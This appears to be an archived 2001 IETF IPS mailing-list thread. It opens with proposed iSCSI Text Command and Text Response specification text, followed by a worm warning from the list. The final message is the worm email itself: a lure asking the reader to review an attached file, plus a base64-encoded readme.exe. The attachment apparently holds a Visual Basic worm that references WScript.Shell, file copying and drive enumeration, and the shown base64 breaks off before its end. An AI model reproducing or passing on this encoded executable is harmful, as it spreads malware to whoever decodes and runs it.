suggestion for the new text request/response: > > > 1.1 Text Command > > The Text Command is provided to allow the exchange of information and > for future extensions. It permits the initiator to inform a target of > its capabilities or to request some special operations. > > A connection SHOULD have only one outstanding text command at any given > time. > > > > Byte / 0 | 1 | 2 | 3 | > / | | | | > |7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0| > +---------------+---------------+---------------+---------------+ > 0|X|I| 0x04 |F|B| Rsvd | Reserved | > +---------------+---------------+---------------+---------------+ > 4| Reserved | DataSegmentLength | > +---------------+---------------+---------------+---------------+ > 8| Reserved | > + + > 12| | > +---------------+---------------+---------------+---------------+ > 16| Initiator Task Tag | > +---------------+---------------+---------------+---------------+ > 20| Reserved | > +---------------+---------------+---------------+---------------+ > 24| CmdSN | > +---------------+---------------+---------------+---------------+ > 28| ExpStatSN | > +---------------+---------------+---------------+---------------+ > 32/ Reserved / > +/ / > +---------------+---------------+---------------+---------------+ > 48| Digests if any... | > +---------------+---------------+---------------+---------------+ > / DataSegment (Text) / > +/ / > +---------------+---------------+---------------+---------------+ > > > 1.1.1 F (Final) Bit > > When set to 1 it indicates that this is the last or only text > command in > a sequence of commands; otherwise it indicates that more commands will > follow. > > 1.1.2 I - Immediate > > During the Login Phase (the current stage part of CNxSG is either > SecurityNegotiation or LoginOperationalNegotiation), the Text command > SHOULD be issued as an immediate command (I=1). > > 1.1.3 B - bookmark bit > > The bookmark bit set to 1 tells the target to continue from its last > bookmark for the specific Initiator Task Tag and thus allows a > target to > transfer a large amount of textual data over a sequence of > text-command/text-response exchanges. > > The bookmark bit set to 0 tells the target that this is a new Text > request; the target should reset any bookmark it holds on the specific > Initiator Task Tag. > > A target MAY reject an old Bookmark. > > Bookmark generation at target is detailed in 2.11.2. > > Long text responses are handled as in the following example: > > I->T Text SendTargets=all (F=1,B=0) > T->I Text (F=0,B=1) > I->T Text (F=1,B=1) > T->I Text (F=0,B=1) > I->T Text (F=1,B=1) > ... > T->I Text (F=1,B=0) > > 1.1.4 Initiator Task Tag > > The initiator assigned identifier for this Text Command. > If the command is sent as part of a sequence of commands (e.g., the > Login Phase or a sequence of Text commands) the Initiator Task Tag MUST > be the same for all the commands within the sequence (similar to linked > SCSI commands). > > 1.1.5 Text > > The initiator sends the target a set of key=value or key=list pairs > encoded in UTF-8 Unicode. All the text keys and text values > specified in > this document are to be presented and interpreted in the case they > appear in this document (they are case sensitive). The key and > value are > separated by a '=' (0x3d) delimiter. Every key=value pair > (including the > last or only pair) MUST be followed by null (0x00) delimiter. > A list is > a set of values separated by comma (0x2c). Large binary items can be > encoded using their hexadecimal representation (e.g., 8190 is > 0x1ffe) or > decimal representation. The maximum length of an individual value (not > its string representation) is 255 bytes. > > The data lengths of a text command or response MUST NOT exceed 4096 > bytes. Key names MUST NOT exceed 63 bytes. Key values MUST NOT exceed > 255 bytes. > > Character strings are represented as plain text. Numeric and binary > values are represented using either decimal numbers or the hexadecimal > 0xffff notation. Upper and lower case letters may be used > interchangeably in hexadecimal notation (i.e., 0x1aBc, 0x1AbC > and 0x1ABC > are equivalent). > > The target responds by sending its response back to the initiator. The > response text format is similar to the request text format. > > Some basic key=value pairs are described in Appendix A and Appendix D. > All keys in Appendix D, except for the X- extension format, MUST be > supported by iSCSI initiators and targets. Keys in Appendix A MUST be > supported only when the function they refer to is mandatory to > implement. > > Manufacturers may introduce new keys by prefixing them with X- followed > by their (reversed) domain name, for example the company owning the > domain acme.com can issue: > > X-com.acme.bar.foo.do_something=0000000000000003 > > Any other key not understood by the target may be ignored by the target > without affecting basic function. However the Text Response for a key > that was not understood MUST be key=NotUnderstood. > > Text operations are usually meant for parameter > setting/negotiations but > can be used also to perform some long lasting operations. > > Text operations that will take a long time should be placed in > their own > Text command. > > 1.2 > > Text Response > > The Text Response PDU contains the target's responses to the > initiator's > Text Command. The format of the Text field matches that of the Text > Command. > > > Byte / 0 | 1 | 2 | 3 | > / | | | | > |7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0| > +---------------+---------------+---------------+---------------+ > 0|1|1| 0x24 |F|B| Rsvd | Reserved | > +---------------+---------------+---------------+---------------+ > 4| Reserved | DataSegmentLength | > +---------------+---------------+---------------+---------------+ > 8| Reserved | > + + > 12| | > +---------------+---------------+---------------+---------------+ > 16| Initiator Task Tag | > +---------------+---------------+---------------+---------------+ > 20| Reserved | > +---------------+---------------+---------------+---------------+ > 24| StatSN | > +---------------+---------------+---------------+---------------+ > 28| ExpCmdSN | > +---------------+---------------+---------------+---------------+ > 32| MaxCmdSN | > +---------------+---------------+---------------+---------------+ > 36/ Reserved / > +/ / > +---------------+---------------+---------------+---------------+ > 48| Digests if any... | > +---------------+---------------+---------------+---------------+ > / DataSegment (Text) / > +/ / > +---------------+---------------+---------------+---------------+ > > 1.2.1 F (Final) Bit > > When set to 1 in response to a text command with the Final bit set to 1 > the F bit indicates that the target has finished the current stage of > the operation or the whole operation. Otherwise if set to 0 > in response > to a text command with the Final Bit set to 1 it indicates that the > target has more work to do (invites a follow-on text command). A text > response with the F bit set to 1 in response to a text command with the > F bit set to 0 is a protocol error. > > A text response with a F bit set to 1 MUST NOT contain key=value pairs > that may require additional answers from the initiator. > > 1.2.2 B - bookmark Bit > > Whenever a target can't transfer all the remaining text data > in a single > Text response, it attempts to set an internal bookmark. If successful, > the target associates the bookmark with the Initiator Task Tag. The > target indicates that it holds a bookmark for the specific Initiator > Task Tag by setting the bookmark (B) bit to 1 in the Text response. The > target resets the internal bookmark associated with a given Initiator > Task Tag if it receives a Text request with the specified > Initiator Task > Tag with the bookmark bit set to 0. When a target can't transfer all > the text data in a single text response and it cannot set an internal > bookmark it rejects the Text request with an appropriate Reject code. A > target may reset its internal bookmark(s) after some time in order to > reclaim resources associated with the bookmark and reject subsequent > Text requests with the bookmark bit set to 1. > > When all the text data fit in a single Text response the > bookmark bit of > the response is set to 0 and the bookmark associated with the Initiator > Task Tag is reset. > > 1.2.3 Initiator Task Tag > > The Initiator Task Tag matches the tag used in the initial Text Command > or the Login Initiator Task Tag. > > 1.2.4 Text Response Data > > The Text Response Data Segment contains responses in the same key=value > format as the Text Command and with the same length and coding > constraints. Appendix A and Appendix D lists some basic Text Commands > and their Responses. > > Although the initiator is the requesting party and controls the > request-response initiation and termination the target can offer > key=value pairs of its own as part of a sequence and not only in > response to an identical key=value pair offered by the initiator. > > A Key=value pair must be confined to a given text response even in the > presence of bookmark - i.e., it must start and end within one Text > Response. > > > > The Reject Reasons table looks like: > > 1.1.1 Reason > > The reject Reason is coded as follows: > > > +------+-----------------------------------------+------------------+ > | Code | Explanation | Can the original | > | (hex)| | PDU be re-sent? | > +------+-----------------------------------------+------------------+ > | 0x01 | Format Error | no | > | | | | > | 0x02 | Data (payload) Digest Error | yes (Note 1) | > | | | | > | 0x03 | Data-SNACK Reject | yes | > | | | | > | 0x04 | Protocol Error (e.g., SNACK request for | no | > | | a status that was already acknowledged) | | > | | | | > | 0x05 | Command not supported in this session | no | > | | type | | > | | | | > | 0x06 | Immediate Command Reject - too many | yes | > | | immediate commands | | > | | | | > | 0x07 | Bookmark Reject - No bookmark for this | no | > | | Initiator Task Tag | | > | | | | > | 0x08 | Bookmark Reject - Can't generate | yes | > | | bookmark - out of resources | | > | | | | > | 0x0f | Full Feature Phase Command before login | no | > +------+-----------------------------------------+------------------+ > > > Comments? > > Julo > > From owner-ips@ece.cmu.edu Tue Sep 4 11:23:55 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA19209 for ; Tue, 4 Sep 2001 11:23:55 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f84EDjd12101 for ips-outgoing; Tue, 4 Sep 2001 10:13:45 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f84EDhP12093 for ; Tue, 4 Sep 2001 10:13:43 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-2.de.ibm.com (1.0.0) with ESMTP id QAA56852 for ; Tue, 4 Sep 2001 16:13:35 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f84EDY4198454 for ; Tue, 4 Sep 2001 16:13:34 +0200 Importance: High Subject: ! IPS Attention - worm - read carefully and DON'T open attachements To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Tue, 4 Sep 2001 17:12:54 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.6 |December 14, 2000) at 04/09/2001 17:13:34 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk If you get a file with a read.exe attachement - DON'T touch it. Several of the list members have already spread it to everybody on their mailing list (I have 10 copies!) Julo From owner-ips@ece.cmu.edu Tue Sep 4 11:24:17 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA19240 for ; Tue, 4 Sep 2001 11:24:17 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f84Dg1a09878 for ips-outgoing; Tue, 4 Sep 2001 09:42:01 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from intens2.pdcint ([194.90.167.40]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f84DftP09870 for ; Tue, 4 Sep 2001 09:41:56 -0400 (EDT) Received: by INTENS2 with Internet Mail Service (5.5.2650.21) id ; Tue, 4 Sep 2001 16:43:24 +0200 Message-ID: <8B578C8302B3D411811200D0B7B64CD1099DDA@INTENS2> From: Rafi Shalom To: "'ips@ece.cmu.edu'" Subject: As per your request! Date: Tue, 4 Sep 2001 16:43:22 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: multipart/mixed; boundary="----_=_NextPart_000_01C1354F.F26DE964" Sender: owner-ips@ece.cmu.edu Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_000_01C1354F.F26DE964 Content-Type: text/plain Please find attached file for your review. I look forward to hear from you again very soon. Thank you. ------_=_NextPart_000_01C1354F.F26DE964 Content-Type: application/octet-stream; name="readme.exe" Content-Disposition: attachment; filename="readme.exe" Content-Transfer-Encoding: base64 TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAuAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAACPivnby+uXiMvrl4jL65eISPeZiMrrl4ii9J6IyuuXiCL0mojK65eIUmlj aMvrl4gAAAAAAAAAAFBFAABMAQMAbfyAOwAAAAAAAAAA4AAPAQsBBgAAMAAAACAAAAAAAACcEgAA ABAAAABAAAAAAEAAABAAAAAQAAAEAAAAAQAAAAQAAAAAAAAAAGAAAAAQAAD0JgEAAgAAAAAAEAAA EAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA5DYAACgAAAAAUAAAyAgAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoAgAAIAAA AAAQAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAADYKwAAABAAAAAwAAAAEAAA AAAAAAAAAAAAAAAAIAAAYC5kYXRhAAAA7AkAAABAAAAAEAAAAEAAAAAAAAAAAAAAAAAAAEAAAMAu cnNyYwAAAMgIAAAAUAAAABAAAABQAAAAAAAAAAAAAAAAAABAAABAw20vORAAAAAAAAAAAAAAAE1T VkJWTTYwLkRMTAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACykD2bAWw9m bogQZp4AEGZzABBmOuICZoFUD2YZgxBmBWcCZghbD2ZjVAJmHUwCZjVUD2Z+Kg5mbakQZrcgDmbN VA9mzVUPZht/AmZXARBmlKUPZjiJEGbrRAJmd9MBZs6rEGYIngJmKqsQZmijEGa9Ww9mD+oCZjmm D2YdWQ1ml04CZlBYD2aBVQ9mVo8CZmeNEGbdog5m0aQPZqzCAWZJoxBmAVUPZgFWD2bsSAJmNVUP ZnBPD2Yi3gBm/v8PZmz3DWbhrBBmFZAQZqIDEGbKBhBmLaMQZmajD2aaRwJmcoIQZiYTD2bqpg9m gRYOZpupEGZxAQ9mOkgCZgAAAAAFAAgAFyNAAAAAAAAeI0AABwAIAKY1QAAWNkAArTVAAP8lWBBA AP8lgBBAAP8lkBBAAP8lQBBAAP8lMBBAAP8lpBBAAP8lGBBAAP8ltBBAAP8lRBBAAP8lsBBAAP8l qBBAAP8liBBAAP8lcBBAAP8lhBBAAP8lJBBAAP8lBBBAAP8l2BBAAP8lABBAAP8l9BBAAP8lmBBA AP8lUBBAAP8leBBAAP8l6BBAAP8l5BBAAP8l7BBAAP8l8BBAAP8l+BBAAP8lbBBAAP8lOBBAAP8l oBBAAP8lvBBAAP8lVBBAAP8lSBBAAP8lHBBAAP8lxBBAAP8laBBAAP8lTBBAAP8l4BBAAP8lIBBA AP8lrBBAAP8lZBBAAP8lnBBAAP8l3BBAAP8lKBBAAP8lzBBAAP8lDBBAAP8l1BBAAP8lYBBAAP8l NBBAAP8llBBAAP8ljBBAAP8lwBBAAP8lyBBAAP8lCBBAAP8lFBBAAP8lEBBAAP8l0BBAAP8lPBBA AP8lLBBAAP8lfBBAAP8lXBBAAP8ldBBAAP8luBBAAAAAaAwUQADo7v///wAAAAAAADAAAABAAAAA AAAAAMeZlejAE4FBuch8Tm8u/HEAAAAAAAABAAAAbWVudHNcUHJvamVjdDEAbQAACgAAAAAAAAD/ zDEAAYdi6cBEruBKgkYl0MLAW7ywOhE2/fgEQJHdKTPWxH6gOk+tM5lmzxG3DACqAGDTkwAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAG8AAABBAAAAAAYAVXJnZW50AA0BBwBVcmdl bnQhABkBAEIAI/////8kBQBGb3JtMQA1PAAAAFkBAAAzCQAAkwMAAEYD/wEnAAAAAQgAQ29tbWFu ZDEABAEFACZPcGVuAATwAHgAFwdnAhEAAP8CBAYAAACQIEAAUAAAAIdi6cBEruBKgkYl0MLAW7wA AAAAAAAAAAAAAAAAAAAAAAAAAJAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMgAAAAAAAAA7BJAAEwA AABWQjUh8B8qAAAAAAAAAAAAAAAAAH4AAAAAAAAAAAAAAAAACgAJBAAAAAAAAAAAAACAFkAAEPAw AAD///8IAAAAAQAAAAEAAADpAAAAvBNAALQTQACoEkAAeAAAAH8AAACGAAAAhwAAAAAAAAAAAAAA AAAAAAAAAAByZWFkbWUAcmVhZG1lAABQcm9qZWN0MQABAAAAvBhAAAAAAADIIUAA/////wAAAAAQ GUAACEBAAAAAAAAwqhQAAAAAAAAAAAAAAAAAFBVAAAEAAAB0GUAAAAAAABQVQAABAAAAHBVAAAAA AAAYFUAAAgAAABwVQAACALcBaABsAGwVQADgQkAAAAAAAGRRGgCEGUAAlBlAAEAAHwA0AAAApBlA AP////8AAAAAAAAAAHQVQABQVRoAtBlAAP////9AABEAOAAAADAaQAABAAMAAAAAAAAAAAAIFkAA YFUaAEAaQAABAAMAbBZAAHkWQAAAAAAAHBVAAJwUQACCEkAAiBJAAI4SQAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAABxFkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AEQVQACcFEAAghJAAIgSQACOEkAAZBZAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACBbCQENwAAAOmvCwAAgWwkBDMAAADp4gwA AAAA9AEAALwYQAAAAAAAECJAAOA2QADkCQAACEBAACYRQAAAQEAAKgBcAEEAQwA6AFwARABvAGMA dQBtAGUAbgB0AHMAIABhAG4AZAAgAFMAZQB0AHQAaQBuAGcAcwBcAGEAYQBwAG8AcwB0AGEAbABc AE0AeQAgAEQAbwBjAHUAbQBlAG4AdABzAFwAcgBlAGEAZABtAGUALgB2AGIAcAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAtBNA AAEAAAAAAAAALEBAAIghQAD/////AAAAABxAQAA1VtbfQx/XR4HSbut8C6zQCgABAAEAAQAQGUAA AAAAAAAAAAAAAAAAUBlAAAkEAAAJBAAAAAAAAAIAAACcFEAA/////0waQAAAAAAAAAAAAAAAAABc GUAAAgAAAEAZQAD//wAAg4ABAAAAAAAAAAAAAAAAAEZvcm0xAAAAUHJvamVjdDEAAAAAVXJnZW50 AACwOhE2/fgEQJHdKTPWxH6gK8m2CHLa6UOqKUJSB7aSjodi6cBEruBKgkYl0MLAW7zCYYpfJUbG RYBwNXI+nVAROk+tM5lmzxG3DACqAGDTk0Zvcm0AAAAALj37/PqgaBCnOAgAKzNxtUM6XFByb2dy YW0gRmlsZXNcTWljcm9zb2Z0IFZpc3VhbCBTdHVkaW9cVkI5OFxWQjYuT0xCAAAAVkIAALwZQAAA AAAABgAAAAkAAADMGUAABBpAANBCQAAAAAAAAAAAAKA4FwDyTq0zmWbPEbcMAKoAYNOTQ29tbWFu ZDEAAAAADABEAAAAAAAAAAAAIgAAAEMAUgBDACAAZQByAHIAbwByADoAIAAyADMANAAjADIAMQAA ABoAAABXAFMAYwByAGkAcAB0AC4AUwBoAGUAbABsAAAAOgAAAFcAaQBuAFoAaQBwACAAUwBlAGwA ZgBFAHgAdAByAGEAYwB0AG8AcgA6ACAAVwBhAHIAbgBpAG4AZwAAADQAAABTAGMAcgBpAHAAdABp AG4AZwAuAEYAaQBsAGUAcwB5AHMAdABlAG0ATwBiAGoAZQBjAHQAAAAAAAwAAABXAEkATgBEAEkA UgAAAAAAFgAAAFwAcgBlAGEAZABtAGUALgBlAHgAZQAAAEYAaQBsAGUARQB4AGkAcwB0AHMAAAAA ACM9+/z6oGgQpzgIACszcbUiPfv8+qBoEKc4CAArM3G1AgAAAGQbQAB0G0AAAAAAAHlPrTOZZs8R twwAqgBg05MCAAAAXAAAAAgAAAAuAGUAeABlAAAAAABjAG8AcAB5AGYAaQBsAGUAAAAAAEQAcgBp AHYAZQBzAAAAAABkAHIAaQB2AGUAdAB5AHAAZQAAAGkAcwByAGUAYQBkAHkAAABkAHIAaQB2AGUA bABlAHQAdABlAHIAAAAEAAAAOgBcAAAAAAAMAAAAdwBpAG4AZABpAHIAAAAAAHgAAABIAEsAQwBV 